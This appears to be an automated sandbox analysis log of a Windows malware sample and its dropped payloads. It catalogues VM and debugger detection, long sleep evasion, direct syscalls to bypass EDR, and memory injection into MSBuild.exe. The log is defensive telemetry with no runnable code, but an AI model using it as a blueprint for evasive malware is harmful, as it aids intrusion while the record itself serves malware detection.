Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\i1.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C63
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_004068B4 FindFirstFileW,FindClose, 0_2_004068B4
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00402910 FindFirstFileW, 0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 10_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004015C0 VirtualProtect,FindFirstFileA,LoadLibraryA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 10_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 10_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 10_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 10_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 10_2_004121F0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C64261E __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,lstrlenW, 15_2_6C64261E
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00401120 GetSystemInfo,ExitProcess, 10_2_00401120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 40924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59706
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 33513
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 35622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 58502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 58202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59876
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 36321
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 34283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 50677
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 34124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 58937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 56447
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 48201
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 51306
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 39218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 50081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 36935
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 36084
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 53169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 55618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 50292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 47055
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 43057
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 51585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 33894
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 52278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 42403
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 30888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 53246
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 56345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 36235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 41436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 38142
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 58389
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 55248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 50868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 49915
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59501
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 56138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 44928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 34970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 40054
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 56865
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 30180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 59300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 54744
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 54826
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 48309
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 30374
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 49700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 46057
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 40463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 56776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 47776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 42856
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 35659
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 44396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 46105
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 50271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 48392
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 30989
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp\u5o8.2 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Microsoft Hyper-V Server
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: 6without Hyper-V for Windows Essential Server Solutions
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Datacenter without Hyper-V Core
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: noreply@vmware.com0
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: QEMU_HARDU
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Standard without Hyper-V Full
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1!0
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Enterprise without Hyper-V Core
Source: u5o8.0.exe, 0000000A.00000002.2206605683.0000000001A91000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: JlvRdFpwOD.exe, 00000000.00000003.1704157144.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000003.1704157144.00000000005CC000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705283099.00000000005CC000.00000004.00000020.00020000.00000000.sdmp, JlvRdFpwOD.exe, 00000000.00000002.1705446058.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000002.2206605683.0000000001AC9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2872247339.000001878845A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: u5o8.0.exe, 0000000A.00000002.2206573425.0000000001A5B000.00000040.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0/
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1
Source: cmd.exe, 0000001D.00000002.2500190039.00000000056A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware, Inc.0
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Standard without Hyper-V Core
Source: u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: VMWARE_VIRTUAL
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Datacenter without Hyper-V Full
Source: svchost.exe, 0000000B.00000002.2869771111.0000018782E2B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879468983.000002EAC1F79000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: "Caption": "VMware Virtual disk",
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Enterprise without Hyper-V Full
Source: powershell.exe, 00000006.00000002.1702359795.0000000007255000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000003.2314918060.0000000000C2C000.00000004.00000020.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2957015576.000002EADEF41000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000019.00000002.2869915428.000000000115E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409A73 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_00409A73
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00D0D15B VirtualProtect ?,-00000001,00000104,?,?,?,00000000 15_2_00D0D15B
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 10_2_00416240
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_004139E7 mov eax, dword ptr fs:[00000030h] 5_2_004139E7
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0B053 push dword ptr fs:[00000030h] 5_2_01C0B053
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0359092B mov eax, dword ptr fs:[00000030h] 5_2_0359092B
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_03590D90 mov eax, dword ptr fs:[00000030h] 5_2_03590D90
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035A3C4E mov eax, dword ptr fs:[00000030h] 5_2_035A3C4E
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00415DC0 mov eax, dword ptr fs:[00000030h] 10_2_00415DC0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00420AEA GetProcessHeap, 5_2_00420AEA
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409A73 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_00409A73
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409C06 SetUnhandledExceptionFilter, 5_2_00409C06
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409EBE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_00409EBE
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0041073B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_0041073B
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0359A125 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_0359A125
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035A09A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_035A09A2
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_03599E6D SetUnhandledExceptionFilter, 5_2_03599E6D
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_03599CDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_03599CDA
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00419DC7 SetUnhandledExceptionFilter, 10_2_00419DC7
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_00417B4E
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_004173DD
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B36B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_6B36B1F7
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B36B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_6B36B66C
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B51AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_6B51AC62
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00D0C1FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 15_2_00D0C1FD
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00D16678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_00D16678
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C722782 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 15_2_6C722782
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C7290E9 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_6C7290E9
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\System32\svchost.exe File created: BIT1926.tmp.11.dr Jump to dropped file
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe NtSetInformationThread: Direct from: 0x6C2A617C
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe NtQuerySystemInformation: Direct from: 0xC05BE4
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe NtProtectVirtualMemory: Direct from: 0x76EF7B2E
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe NtSetInformationThread: Direct from: 0x6C63617C
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write
Searches for specific processes (likely to inject)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 10_2_00415D00
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6A041000
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B6B008
Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6A041000
